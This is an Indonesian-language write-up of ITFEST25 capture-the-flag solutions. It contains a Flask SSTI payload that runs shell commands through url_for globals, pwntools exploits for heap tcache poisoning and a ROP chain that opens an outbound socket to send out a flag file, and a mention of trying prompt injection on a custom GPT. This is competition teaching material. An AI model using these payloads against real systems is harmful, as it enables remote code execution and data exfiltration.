    shift_pressed = (modifier & 0x02) or (modifier & 0x20)  # Left shift or 

right shift 

    

    for key in keys: 

        if key == 0: 

            continue 

            

        if shift_pressed and key in SHIFT_KEYCODE_TO_CHAR: 

            result.append(SHIFT_KEYCODE_TO_CHAR[key]) 

        elif key in KEYCODE_TO_CHAR: 

            result.append(KEYCODE_TO_CHAR[key]) 

        else: 

            result.append(f'[{key:02x}]') 

    

    return ''.join(result) if result else None 

 

def extract_keyboard_text(filename): 

    typed_text = [] 

    previous_keys = set() 

    

    with open(filename, 'r') as f: 

        lines = f.readlines() 

    

    for i, line in enumerate(lines): 

        line = line.strip() 

        if not line: 

            continue 
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        packet = parse_keyboard_data(line) 

        if packet: 

            # Get current pressed keys 

            current_keys = set(k for k in packet['keys'] if k != 0) 

            

            # Only process newly pressed keys (not held keys) 

            new_keys = current_keys - previous_keys 

            

            if new_keys: 

                for key in new_keys: 

                    # Create a packet for just this key 

                    single_key_packet = { 

                        'modifier': packet['modifier'], 

                        'keys': [key] + [0] * 5 

                    } 

                    char = decode_keystroke(single_key_packet) 

                    if char and char not in ['CAPS', 'F1', 'F2', 'F3', 'F4', 

'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12']: 

                        typed_text.append(char) 

            

            previous_keys = current_keys 

 

    return ''.join(typed_text) 

 

def main(): 

    typed_text = extract_keyboard_text('keyboard_data.txt') 

    print(typed_text) 

 

if __name__ == "__main__": 

    main() 

 

 
 
Ternyata ini input ke vim, jadinya saya vibe coding lagi. 
 

vim_solver.py 
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import re 

 

def parse_vim_commands(text): 

    flag_chars = [] 

    

    # Split by the vim command pattern 

    parts = text.split('X<esc>r') 

    

    for part in parts[1:]:  # Skip the first part which is ":e 

part1.txmt\ni" 

        if '<esc>' in part: 

            char = part[0]  # First character after 'r' 

            flag_chars.append(char) 

    

    flag = ''.join(flag_chars) 

    return flag 

 

def main(): 

    vim_text = ":e 

part1.txmt\niX<esc>rI<esc>aX<esc>rT<esc>aX<esc>rF<esc>aX<pesc>rE<esc>aX<jesc

>rS<esc>aX<epsc>rT<esc>aX<esc>r2<esc>aX<esc>r5<esc>aX<esc>r{<esjc>aX<esc>rk<

esc>aX<esc>re<esc>aX<esc>ry<esc>aX<tesc>rb<esc>aX<esc>ro<esc>aX<esc>ra<esc>a

X<esc>rr<esc>aX<esc>rd<esc>aX<esc>r_<esc>aX<esc>rn<esc>aX<ezsac>rg<esc>aX<es

c>ra<esvc>aX<lesc>rs<esc>aX<esc>ri<esc>aX<esac>rh<esc>aiX<esc>r_<esxc>aX<esc

>rc<esc>aX<esc>rl<ejsc>asX<fesc>ru<esxc>aX<esc>re<esc>aX<esc>r_<esc>aX<esc>r

k<esc>aX<esc>re<esc>aX<esc>rh<esc>aX<esc>ri<esc>aX<esc>rd<esc>aX<esc>ru<esc>

aX<esc>rp<esc>aX<esc>ra<esc>aX<esc>rn<esc>aX<esc>r_<esc>0:s/X//g<enter>" 

 

    # Parse the flag from vim commands 

    flag = parse_vim_commands(vim_text) 

    print(f"Extracted flag characters: {flag}") 

    

    # The commands show: 

    # :e part1.txt - editing file part1.txt 

    # Then a series of: i + X + <esc> + r + [character] + <esc> + a 

    # This pattern means: insert X, escape, replace with character, escape, 

append 

    # Finally: :s/X//g - substitute all X with nothing (remove X 

placeholders) 

    

    # Find all r commands followed by a character 
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    r_commands = re.findall(r'r(.)', vim_text) 

    print(f"Characters from 'r' commands: {r_commands}") 

    

    flag_text = ''.join(r_commands) 

    print(f"Reconstructed flag (first half): {flag_text}") 

 

if __name__ == "__main__": 

    main() 

 

 
 
Hasil 
 
ITFEST25{keyboard_ngasih_clue_kehidupan_mouse_ngasih_click_keputusan} 
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WEB 
Pasar Sayur​

Flag: ITFEST25{d0n7_f0rg3t_t0_us3_request_d0t_h34d3r} 
 
Deskripsi 

Pak Budi baru saja membuka toko sayuran online pertamanya bernama "Pasar Sayur 
Segar". Sebagai developer junior yang dipekerjakan, website ini memiliki beberapa masalah 
keamanan. Bisakah Anda membantu menemukan flag yang tersembunyi? 

http://103.160.212.3:1339/ 

Author: ardhani 

Informasi Terkait Soal 
 
Diberikan satu zip yang berisi source untuk website chall. 
 

app.py (snippet) 

from flask import Flask, render_template, render_template_string, request, 

redirect, url_for, flash, session 

import os 

 

app = Flask(__name__) 

app.secret_key = '{REDACTED}' 

 

vegetables = { 

    'tomat': {'name': 'Tomat Segar', 'price': 15000, 'stock': 50, 

'description': 'Tomat merah segar dari kebun lokal', 'image': 'tomat.jpg'}, 

    'wortel': {'name': 'Wortel Organik', 'price': 12000, 'stock': 30, 

'description': 'Wortel organik kaya vitamin A', 'image': 'wortel.jpg'}, 

    'bayam': {'name': 'Bayam Hijau', 'price': 8000, 'stock': 25, 

'description': 'Bayam segar penuh zat besi', 'image': 'bayam.jpg'}, 

    'kangkung': {'name': 'Kangkung Air', 'price': 6000, 'stock': 40, 

'description': 'Kangkung air segar untuk tumisan', 'image': 'kangkung.jpg'}, 

    'brokoli': {'name': 'Brokoli Premium', 'price': 20000, 'stock': 15, 

'description': 'Brokoli premium kaya nutrisi', 'image': 'brokoli.jpg'} 

} 

 

def security_filter(user_input): 

    blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+", 
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"init", "subprocess", "globlas", "config", "update", "mro", "subclasses", 

"class", "base", "builtins", "cycler", "joiner", "namespace", "lipsum"] 

    

    for word in blacklist: 

        if word in user_input: 

            return False 

    return True 

 

def get_cart(): 

    """Get cart from session""" 

    return session.get('cart', []) 

 

def add_to_cart_session(item): 

    """Add item to cart in session""" 

    cart = get_cart() 

    cart.append(item) 

    session['cart'] = cart 

    session.permanent = True 

 

@app.route('/') 

def home(): 

    cart = get_cart() 

    return render_template('index.html', vegetables=vegetables, cart=cart) 

 

@app.route('/search', methods=['POST']) 

def search(): 

    query = request.form.get('query', '').strip() 

    

    if not query: 

        flash('Mohon masukkan kata kunci pencarian!', 'error') 

        return redirect(url_for('home')) 

    

    if not security_filter(query): 

        return render_template('blocked.html', query=query) 

    

    found_vegetables = {} 

    for key, veggie in vegetables.items(): 

        if query.lower() in key or query.lower() in veggie['name'].lower(): 

            found_vegetables[key] = veggie 

    

    if found_vegetables: 
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        template_msg = f"Hasil pencarian untuk '{query}': 

{len(found_vegetables)} sayuran ditemukan!" 

    else: 

        template_msg = f"Maaf, tidak ada sayuran yang cocok dengan 

'{query}'. Coba kata kunci lain!" 

    

    search_template = ''' 

    <div class="result-info"> 

        <h3>''' + template_msg + '''</h3> 

        <a href="{{ url_for('home') }}" class="btn btn-secondary">← Kembali 

ke Beranda</a> 

    </div> 

    ''' 

 

    template_content = '''<!DOCTYPE html> 

<html lang="id"> 

<head> 

    <meta charset="UTF-8"> 

    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 

    <title>Hasil Pencarian - Pasar Sayur Segar</title> 

    <link rel="stylesheet" href="{{ url_for('static', 

filename='css/style.css') }}"> 

</head> 

<body> 

    <nav class="navbar"> 

        <div class="container"> 

            <a href="{{ url_for('home') }}" class="logo">🥬 Pasar Sayur 

Segar</a> 

            <div class="nav-links"> 

                <a href="{{ url_for('home') }}">Beranda</a> 

                <a href="{{ url_for('view_cart') }}">🛒 Keranjang</a> 

                <a href="{{ url_for('admin') }}">👤 Admin</a> 

            </div> 

        </div> 

    </nav> 

 

    <main class="main-content"> 

        <div class="container"> 

            <div class="search-header"> 

                <h1>🔍 Hasil Pencarian</h1> 

            </div> 
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            <div class="result-info"> 

                ''' + render_template_string(search_template) + ''' 

            </div> 

            

            {% if found_vegetables %} 

            <div class="vegetables-grid"> 

                {% for key, veggie in found_vegetables.items() %} 

                <div class="veggie-card"> 

                    <div class="veggie-image">🥕</div> 

                    <h3>{{ veggie.name }}</h3> 

                    <p class="veggie-description">{{ veggie.description 

}}</p> 

                    <div class="price">Rp {{ "{:,}".format(veggie.price) }} 

/ kg</div> 

                    <div class="stock">Stok: {{ veggie.stock }} kg</div> 

                    <a href="{{ url_for('add_to_cart', veggie_key=key) }}" 

class="btn btn-primary">Tambah ke Keranjang</a> 

                </div> 

                {% endfor %} 

            </div> 

            {% endif %} 

        </div> 

    </main> 

 

    <footer class="footer"> 

        <div class="container"> 

            <p>&copy; 2025 Pasar Sayur Segar. Sayuran segar langsung dari 

kebun ke meja Anda!</p> 

        </div> 

    </footer> 

</body> 

</html>''' 

 
Pendekatan 
 
Cukup jelas bahwa ada SSTI disini, hanya saja teradapat blacklisting yang cukup ketat, yang 
tidak memungkinkan penggunaan [] dan | untuk akses attribute. Namun ada satu fungsi 
yang memiliki akses ke globals secara langsung dan dapat mengarah ke pemanggilan fungsi 
pada module “os” yakni url_for. Sehingga kita bisa langsung memanggil fungsi seperti 
sytem atau popen dengan payload shell terletak pada header. 
 

Part of HCS  



daftar CTF schematics-its.com/npc 

if found_vegetables: 

        template_msg = f"Hasil pencarian untuk '{query}': 

{len(found_vegetables)} sayuran ditemukan!" 

    else: 

        template_msg = f"Maaf, tidak ada sayuran yang cocok dengan '{query}'. 

Coba kata kunci lain!" 

    

    search_template = ''' 

    <div class="result-info"> 

        <h3>''' + template_msg + '''</h3> 

        <a href="{{ url_for('home') }}" class="btn btn-secondary">← Kembali 

ke Beranda</a> 

    </div> 

    ''' 

 
SSTI 
 
{{7*7}} 
 

 
 
Solusi 
 

POST /search HTTP/1.1 
Host: 103.160.212.3:1339 
Content-Length: 66 
Cache-Control: max-age=0 
Accept-Language: en-US,en;q=0.9 
Origin: http://103.160.212.3:1339 
Content-Type: application/x-www-form-urlencoded 
Upgrade-Insecure-Requests: 1 
Tel: cat /flag.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 
like Gecko) Chrome/138.0.0.0 Safari/537.36 
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Referer: http://103.160.212.3:1339/ 
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Accept-Encoding: gzip, deflate, br 
Connection: keep-alive 
 
query={{url_for.__globals__.os.popen(request.headers.tel).read()}} 

 
Hasil 
 

 
 

 

Part of HCS  



daftar CTF schematics-its.com/npc 

REVERSE ENGINEERING 
Login​

Flag: ITFEST25{Try_n0t_tO_forg3t_y0ur_Usern4me_pa55word} 
 
Deskripsi 

I could've sworn I just logged in yesterday… but now I've forgotten again 😅 

Can you help me get my credentials back? 

Author: Nikoo 

Informasi Terkait Soal 
 

main 

undefined8 main(void)​
{​
uint uVar1;​
int iVar2;​
int iVar3;​
undefined8 uVar4;​
puts("========================================================");​
puts(&DAT_00102048);​
puts(" Advanced Multi-Layer Authentication Required ");​
puts("========================================================");​
putchar(10);​
puts("[SYSTEM] Initializing cryptographic modules...");​
uVar1 = crypto_hash("SYSTEM_INIT_2024");​
printf("[SYSTEM] Security hash: 0x%04X\n",(ulong)uVar1);​
puts("\nPlease provide your credentials:");​
printf(&DAT_00102142);​
iVar2 = __isoc99_scanf(&DAT_00102152,input_user);​
if (iVar2 == 1) {​
printf(&DAT_00102164);​
iVar2 = __isoc99_scanf(&DAT_00102174,input_pass);​
if (iVar2 == 1) {​
iVar2 = verify_username(input_user);​
iVar3 = verify_password(input_pass);​
if ((iVar2 == 0) || (iVar3 == 0)) {​
puts(&DAT_00102180);​
puts(&DAT_001021b0);​
uVar4 = 1;​
}​
else {​
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puts(&DAT_001021e8);​
puts("========================================================");​
puts(&DAT_00102208);​
printf(&DAT_00102230,input_user,input_pass);​
puts("========================================================");​
uVar4 = 0;​
}​
}​
else {​
puts("Input error!");​
uVar4 = 1;​
}​
}​
else {​
puts("Input error!");​
uVar4 = 1;​
}​
return uVar4;​
} 

 

transform_user_char 

uint transform_user_char(uint param_1,uint param_2)​
{​
undefined4 local_c;​
if ((param_2 & 1) == 0) {​
local_c = param_1 ^ 5;​
}​
else {​
local_c = param_1 + 10;​
}​
return local_c;​
} 

 

transform_pass_char 

uint transform_pass_char(char param_1,int param_2)​
{​
int iVar1;​
undefined4 local_c;​
iVar1 = (int)param_1;​
local_c = 0;​
param_2 = param_2 % 4;​
if (param_2 == 3) {​
local_c = iVar1 - 0x1c;​
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}​
else if (param_2 < 4) {​
if (param_2 == 2) {​
local_c = iVar1 - 0x30U ^ 7;​
}​
else if (param_2 < 3) {​
if (param_2 == 0) {​
local_c = iVar1 - 0x26;​
}​
else if (param_2 == 1) {​
local_c = (iVar1 - 0x30U) * 2;​
}​
}​
}​
return local_c;​
} 

 

verify_username 

undefined8 verify_username(char *param_1)​
{​
int iVar1;​
size_t sVar2;​
undefined8 uVar3;​
int local_c;​
sVar2 = strlen(param_1);​
if (sVar2 == 8) {​
for (local_c = 0; local_c < 8; local_c = local_c + 1) {​
iVar1 = transform_user_char((int)param_1[local_c],local_c);​
if (iVar1 != *(int *)(secret_data + (long)local_c * 4)) {​
return 0;​
}​
}​
uVar3 = 1;​
}​
else {​
uVar3 = 0;​
}​
return uVar3;​
} 

 

verify_password 

undefined8 verify_password(char *param_1)​
{​
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int iVar1;​
size_t sVar2;​
undefined8 uVar3;​
int local_c;​
sVar2 = strlen(param_1);​
if (sVar2 == 0x28) {​
for (local_c = 0; local_c < 0x28; local_c = local_c + 1) {​
iVar1 = transform_pass_char((int)param_1[local_c],local_c);​
if (iVar1 != *(int *)(pass_matrix + (long)local_c * 4)) {​
return 0;​
}​
}​
uVar3 = 1;​
}​
else {​
uVar3 = 0;​
}​
return uVar3;​
} 

 
Pendekatan 
 
Kita perlu mencari secret_data dan pass_matrix, kemudian direverse berdasarkan 
transform_user/pass_char. 
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Kita pun mendapatkan keduanya, sehingga kita sekarang bisa langsung reverse. 
 
Solusi 

solver.py 

secret_data_values = [ 

    0x4c, 0x5e, 0x43, 0x4f, 0x56, 0x5e, 0x37, 0x3f 

] 

 

pass_matrix_values = [ 

    0x2e, 0x84, 0x4e, 0x43, 0x48, 0x00, 0x43, 0x43, 0x4e, 0x3e, 0x28, 0x4a, 

    0x49, 0x84, 0x30, 0x17, 0x4e, 0x5e, 0x4e, 0x14, 0x4f, 0x84, 0x28, 0x39, 

    0x4d, 0x6a, 0x45, 0x52, 0x0e, 0x7a, 0x32, 0x43, 0x4a, 0x62, 0x02, 0x19, 

    0x51, 0x7e, 0x45, 0x48 

] 

 

def generate_username(data): 

    username = "" 

    for i, val in enumerate(data): 

        if i % 2 == 0: 
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            original_char = val ^ 5 

        else: 

            original_char = val - 10 

        username += chr(original_char) 

    return username 

 

def generate_password(data): 

    password = "" 

    for i, val in enumerate(data): 

        op_type = i % 4 

        original_char = 0 

        if op_type == 0: 

            original_char = val + 0x26 

        elif op_type == 1: 

            original_char = (val // 2) + 0x30 

        elif op_type == 2: 

            original_char = (val ^ 7) + 0x30 

        elif op_type == 3: 

            original_char = val + 0x1c 

        password += chr(original_char) 

    return password 

 

final_username = generate_username(secret_data_values) 

final_password = generate_password(pass_matrix_values) 

 

print(final_username, final_password) 

 
Hasil 
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BINARY EXPLOITATION 
TahuBulat​

Flag: 
ITFEST25{soalnya_dibikin_dadakan_karena_ada_probset_yang_buat_soal_tapi_gaada_solver

nya_muehehehe___ZafiN} 

 
Deskripsi 

Tahu bulat di goreng dadakan 5 jutaan, halal. awakowaowao. another chall dadakan 

Author: ZafiN 

nc 103.160.212.3 17005 
 
Pendekatan & Solusi 
 
Yh cukup simple bug nya, ada heap overflow, jadi kita bisa overflow ke next chunk yang di 
free buat forging pointer di tcache yang mengarah ke GOT entry nya exit. Libc nya juga versi 
2.31 jadi gaada pointer guard shenanigans. Jadi tinggal ovw GOT entry exit dengan function 
winner dan exit binary buat manggil winner. 
 

solve.py 

#!/usr/bin/env python3 

from pwn import * 

 

# ========================================================= 

#                          SETUP                         

# ========================================================= 

exe = './soal_patched' 

elf = context.binary = ELF(exe, checksec=True) 

libc = './libc.so.6' 

libc = ELF(libc, checksec=False) 

context.log_level = 'debug' 

context.terminal = ["tmux", "splitw", "-h", "-p", "65"] 

host, port = '103.160.212.3', 17005 

 

def initialize(argv=[]): 

    if args.GDB: 

        return gdb.debug([exe] + argv, gdbscript=gdbscript) 

    elif args.REMOTE: 

        return remote(host, port) 
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    else: 

        return process([exe] + argv) 

 

gdbscript = ''' 

init-pwndbg 

b *0x4014D5 

set max-visualize-chunk 0x500 

b *winner+20 

'''.format(**locals()) 

 

def add(idx, size): 

    io.sendlineafter(b':', b'1') 

    io.sendlineafter(b':', str(idx).encode()) 

    io.sendlineafter(b':', str(size).encode()) 

 

def fill(idx, content): 

    io.sendlineafter(b':', b'2') 

    io.sendlineafter(b':', str(idx).encode()) 

    io.sendlineafter(b':', content) 

    

def view(idx): 

    io.sendlineafter(b':', b'3') 

    io.sendlineafter(b':', str(idx).encode()) 

    

def delete(idx): 

    io.sendlineafter(b':', b'4') 

    io.sendlineafter(b':', str(idx).encode()) 

    

 

# ========================================================= 

#                         EXPLOITS 

# ========================================================= 

def exploit(): 

    global io 

    io = initialize() 

    rop = ROP(exe) 

 

    add(0, 0x48) 

    add(1, 0x50) 
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    add(2, 0x50) 

    delete(2) 

    delete(1) 

    fill(0, b'A'*(0x48) + p64(0x61) + p64(elf.got['exit'])) 

    add(1, 0x50) 

    add(2, 0x50) 

    fill(2, p64(elf.sym['winner'])) 

    

    io.interactive() 

    

if __name__ == '__main__': 

    exploit() 

 
Hasil 
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My First Ever…​
Flag: ITFEST25{tH4nK5_f0R_My_f1R5t_R0p_rEV5h3lL} 

 
Deskripsi 

Just a simple pwn challenge 

nc 103.160.212.3 1470 

Author: zran 

Informasi Terkait Soal 
 
Diberikan binary yang sangat simple: 

 

chall.c 

#include <stdio.h> 

 

int main() { 

  char buf[8]; 

  gets(buf); 

  fclose(stdin); 

  fclose(stdout); 

  fclose(stderr); 

} 

 

__attribute__((constructor)) 

void setup(void) { 

    setvbuf(stdin, NULL, _IONBF, 0); 

    setvbuf(stdout, NULL, _IONBF, 0); 
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    setvbuf(stderr, NULL, _IONBF, 0); 

} 

 
Pendekatan & Solusi 
 
Karena semua file descriptor ditutup, kita somehow and someway harus ngebuka file 
descriptor lain. Kita bisa menggunakan socket untuk setup file descriptor baru. Pas udah 
kebuka connection nya, kita bisa openat dan getdents untuk baca nama flag nya. Pas udah 
ketemu nama flag nya. Kita langsung ORW flag nya ke socket. 
 

solve.py 

#!/usr/bin/env python3 

from pwn import * 

 

# ========================================================= 

#                          SETUP                         

# ========================================================= 

exe = './chall' 

elf = context.binary = ELF(exe, checksec=True) 

context.log_level = 'debug' 

context.terminal = ["tmux", "splitw", "-h", "-p", "85"] 

host, port = '103.160.212.3', 1470 

 

def initialize(argv=[]): 

    if args.GDB: 

        return gdb.debug([exe] + argv, gdbscript=gdbscript) 

    elif args.REMOTE: 

        return remote(host, port) 

    else: 

        return process([exe] + argv) 

 

gdbscript = ''' 

init-pwndbg 

b *0x401805 

b *0x0000000000401cc4 

b *0x414986 

'''.format(**locals()) 

 

rop = ROP(elf) 
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pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] 

pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] 

pop_rax_rdx_rbx = 0x000000000047f12a 

pop_rax = 0x0000000000447fa7 

xchg_gadget = 0x0000000000486216 

pop_r12 = rop.find_gadget(['pop r12', 'ret'])[0] 

bss_addr = elf.bss(0x200) 

 

def www(where, what): 

    chain = b"" 

    chain += p64(pop_r12) 

    chain += p64(what) 

    chain += p64(pop_rax) 

    chain += p64(where) 

    chain += p64(xchg_gadget) 

    return chain 

 

def do_syscall(rax, rdi=0, rsi=0, rdx=0): 

    syscall_ret = 0x0000000000414986 

    chain = b"" 

    chain += p64(pop_rdi) 

    chain += p64(rdi) 

    chain += p64(pop_rsi) 

    chain += p64(rsi) 

    chain += p64(pop_rax_rdx_rbx) 

    chain += p64(rax) 

    chain += p64(rdx) 

    chain += p64(0) 

    chain += p64(syscall_ret) 

    return chain 

 

# ========================================================= 

#                         EXPLOITS 

# ========================================================= 

def exploit(): 

    global io 

    io = initialize() 

    offset = 16 

    payload = b'' 
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    payload += b'A' * offset 

    payload += www(bss_addr, 0x39050002) 

    payload += www(bss_addr + 4, 0x4bd9d60d) 

    payload += do_syscall(0x29, rdi=2, rsi=1, rdx=0) 

    payload += do_syscall(0x2a, rdi=0, rsi=bss_addr, rdx=0x10) 

    binsh = b'/flag.txt\x00' 

    for i in range(0, len(binsh), 4): 

        part = binsh[i:i+4] 

        if len(part) < 4: 

            part += b'\x00' * (4 - len(part)) 

        payload += www(bss_addr - 0x50 + i, u32(part)) 

    payload += do_syscall(0x101, rdi=0xffffffffffffff9c, 

rsi=bss_addr-0x50, rdx=0x100) 

    payload += do_syscall(0x4e, rdi=1, rsi=bss_addr-0x50+0x10, 

rdx=0x1000) 

    payload += do_syscall(1, rdi=0, rsi=bss_addr-0x50+0x10, rdx=0x1000) 

    payload += do_syscall(2, rdi=bss_addr-0x50, rsi=0, rdx=0) 

    payload += do_syscall(0, rdi=2, rsi=bss_addr-0x50, rdx=0x100) 

    payload += do_syscall(1, rdi=0, rsi=bss_addr-0x50, rdx=0x100) 

    io.sendline(payload) 

    io.interactive() 

 

if __name__ == '__main__': 

    exploit() 
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MISC 
welcome​

Flag: 
IFEST25{Selamat_datang_kakak_Selamat_datang_kakak_Selamat_datang_kami_ucapkan_Sel
amat_datang_kakak_Selamat_datang_kakak_Selamat_datang_kami_ucapkan_Yaa_yaaaa_yaa
_yaaaa_Terimalah_salam_dari_kami_yang_ingin_maju_bersama-sama_Terimalah_salam_dari_

kami_yang_ingin_maju_bersama-sama} 
 
 

 
Free flag 
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GPT Playground ​
Flag: ITFEST25{Yhuuu_K4mU_M3n3MuKan_B3nd3r4ny4_346489} 

 
Deskripsi 

just play and finish it, dude! 

https://chatgpt.com/g/g-6881631426ac81918e4a2c5187b27a80-kriptos 

Author: syalim 

Informasi Terkait Soal 
 
Link diatas ternyata memberikan kita akses ke sebuah custom GPT, Kriptos. 
 

 
 
Pendekatan 
 
Sepertinya ini soal ada stage-stagenya jadi saya pakai LLM lain buat jawab :v  
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Setelah ini saya sempet tanya probset dan ternyata flagnya memang harus diambil dari 
custom GPT ini. Jadi awalnya saya pikir ini challenge prompt injection, terus coba-coba 
payload tapi gagal semua. 
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Solusi 
 
Karena prompt injection gagal, terutama yang melakukan mention ke ITFEST{} atau coba 
leak system prompt, jadi saya coba tanya saja secara normal kalau kata authornya flagnya 
harus dari custom GPT ini. Malah bisa. 😂 
 
Hasil 
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